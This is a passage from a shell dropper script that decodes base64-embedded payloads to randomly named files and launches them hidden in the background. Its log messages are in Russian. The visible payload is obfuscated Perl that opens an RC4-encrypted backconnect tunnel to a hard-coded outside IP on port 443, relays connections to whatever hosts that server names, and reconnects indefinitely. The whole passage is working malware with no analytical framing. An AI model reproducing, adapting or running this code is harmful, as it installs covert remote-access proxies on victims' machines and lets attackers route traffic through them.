eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #28 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #28 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 29 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk 